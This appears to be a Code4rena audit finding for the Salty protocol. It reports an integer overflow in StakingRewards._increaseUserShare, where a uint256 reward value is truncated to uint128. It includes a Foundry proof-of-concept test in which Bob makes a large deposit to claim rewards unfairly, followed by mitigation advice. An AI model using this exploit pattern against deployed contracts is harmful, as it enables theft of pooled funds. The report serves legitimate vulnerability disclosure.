Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L83

Vulnerability details

Impact

The vulnerability exists in the following code segment within the _increaseUserShare function:

uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount, existingTotalShares);
user.virtualRewards += uint128(virtualRewardsToAdd);
totalRewards[poolID] += uint128(virtualRewardsToAdd);

This segment is prone to an integer overflow. The multiplication totalRewards[poolID] * increaseShareAmount can produce a result larger than what uint128 can hold (maximum value of (2^{128} - 1)), especially when increaseShareAmount is significantly larger than existingTotalShares. Upon overflow, virtualRewardsToAdd gets wrongly truncated to a uint128, leading to an incorrect, potentially much smaller value being added to user.virtualRewards and totalRewards[poolID].

The overflow can result in an erroneous computation of virtual rewards, thereby allowing users like Bob in the provided Proof of Concept (POC) to unjustly claim a disproportionate share of the rewards. This not only leads to an unfair distribution of rewards but also poses a risk of depleting the reward pool, causing financial discrepancies and potentially undermining the integrity of the smart contract system.

Proof of Concept


    function testAttackAddDisproportionateLiq() public {
        // ------- SETUP TOKENS -------
        // ----------------------------
        vm.startPrank(address(alice));

        IERC20 token0 = new TestERC20_2("token0", 18);
        IERC20 token1 = new TestERC20_2("token1", 18);

        token0.transfer(address(bob), type(uint256).max/3);
        token1.transfer(address(bob), type(uint256).max/3);

        uint256 userBalance0 = token0.balanceOf( address(alice) );
        uint256 userBalance1 = token1.balanceOf( address(bob) );

        token0.approve(address(collateralAndLiquidity), type(uint256).max);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(address(bob));
        token0.approve(address(collateralAndLiquidity), type(uint256).max);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(address(dao));
        poolsConfig.whitelistPool( pools,   token0, token1);
        bytes32 pool1 = PoolUtils._poolID(token0, token1);

        // ------ ADD REWARDS ------
        // -------------------------

        vm.startPrank(DEPLOYER);
        AddedReward[] memory rewards = new AddedReward[](1);
        rewards[0] = AddedReward({poolID: pool1, amountToAdd: 100*10**18});
        collateralAndLiquidity.addSALTRewards(rewards);
        vm.stopPrank();

        // ---- ADD SMALL LIQUIDITY RATIO ----
        // -----------------------------------

        vm.startPrank(alice);
        bytes32[] memory pools = new bytes32[](1);
        pools[0] = pool1;
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(token0, token1, 101, 101, 0, block.timestamp, false );

        uint256 aliceBalanceBefore = salt.balanceOf(address(alice));
        collateralAndLiquidity.claimAllRewards(pools);
        uint256 aliceBalanceAfter = salt.balanceOf(address(alice));
        vm.stopPrank();

        // ---- ADD LARGE AMOUNT OF LIQUIDITY FOR OVERFLOW TYPECASTING ----
        // ----------------------------------------------------------------
        vm.startPrank(bob);
        uint256 inputAmount = 350*10**18; // Add 350 ETHER of each token to get overflow
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(token0, token1, inputAmount, inputAmount, 0, block.timestamp, false);
        vm.stopPrank();

        // ---- CHECKING THE VALUES ----
        // -----------------------------

        console.log(collateralAndLiquidity.userRewardForPool(address(alice), pool1));
        console.log(collateralAndLiquidity.userRewardForPool(address(bob), pool1));

        console.log("Alice changed balance: ", aliceBalanceAfter - aliceBalanceBefore);

        // ---- WILL REVERT UNLESS collateralAndLiquidity HAS MORE SALT ----
        vm.startPrank(address(bob));
        uint256 bobBalanceBefore = salt.balanceOf(address(bob));
        uint256 claimedBob = collateralAndLiquidity.claimAllRewards(pools);
        uint256 bobBalanceAfter = salt.balanceOf(address(bob));
        vm.stopPrank();
        console.log("Bob changed balance: ", bobBalanceAfter - bobBalanceBefore);
    }

Initial Reward Allocation: 100 * 10^18 SALT is allocated to an initially empty pool.
Alice's Action: Alice deposits 101 wei of a token, setting totalShares to 202.
Alice's Reward Claim: As the sole participant, Alice is entitled to the entire reward pool of 100 * 10^18 SALT by using claimAllRewards().
Bob's Deposit: Bob deposits 350 ether (350 * 10^18 wei), causing an overflow in the virtualRewardsToAdd calculation.
Result of Overflow: The calculation of virtualRewardsToAdd overflows and gets truncated, leading to an incorrect update of user.virtualRewards and totalRewards[poolID].
Unjust Reward Claim: Bob is now able to claim an undeserved amount of approximately 99 SALT, either causing a revert due to insufficient rewards or leading to an accounting error.

Tools Used

foundry

Recommended Mitigation Steps

Since the overflow issue stems from typecasting a large uint256 value to uint128, a reevaluation of the data types used is necessary. The virtualRewardsToAdd should remain as a uint256 to accommodate the potential large values resulting from the multiplication. Furthermore, revisiting the reward calculation algorithm to introduce checks or limits that prevent such disproportionate increases in virtualRewardsToAdd would be prudent.

Assessed type

Math

code-423n4 / 2024-01-salty-findings

Integer Overflow in virtualRewardsToAdd Calculation #925